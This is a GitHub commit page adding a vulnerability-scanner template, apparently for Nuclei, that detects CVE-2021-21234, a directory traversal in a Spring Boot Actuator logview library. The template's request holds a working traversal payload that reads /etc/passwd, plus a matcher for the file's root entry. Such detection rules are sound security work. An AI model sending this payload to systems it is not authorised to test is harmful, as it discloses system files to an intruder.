Merge pull request #1766 from gy741/rule-add-v6

Create CVE-2021-21234.yaml
patch-1
Prince Chaddha 2021-06-25 16:50:36 +05:30 committed by GitHub
commit bae4998f81
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 24 additions and 0 deletions

View File

@ -0,0 +1,24 @@
id: CVE-2021-21234
info:
name: Spring Boot Actuator Logview - Directory Traversal
author: gy741
severity: high
reference: https://blogg.pwc.no/styringogkontroll/unauthenticated-directory-traversal-vulnerability-in-a-java-spring-boot-actuator-library-cve-2021-21234
tags: cve,cve2021,springboot,lfi
requests:
- method: GET
path:
- "{{BaseURL}}/log/view?filename=/etc/passwd&base=../../"
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "root:[x*]:0:0"
- type: status
status:
- 200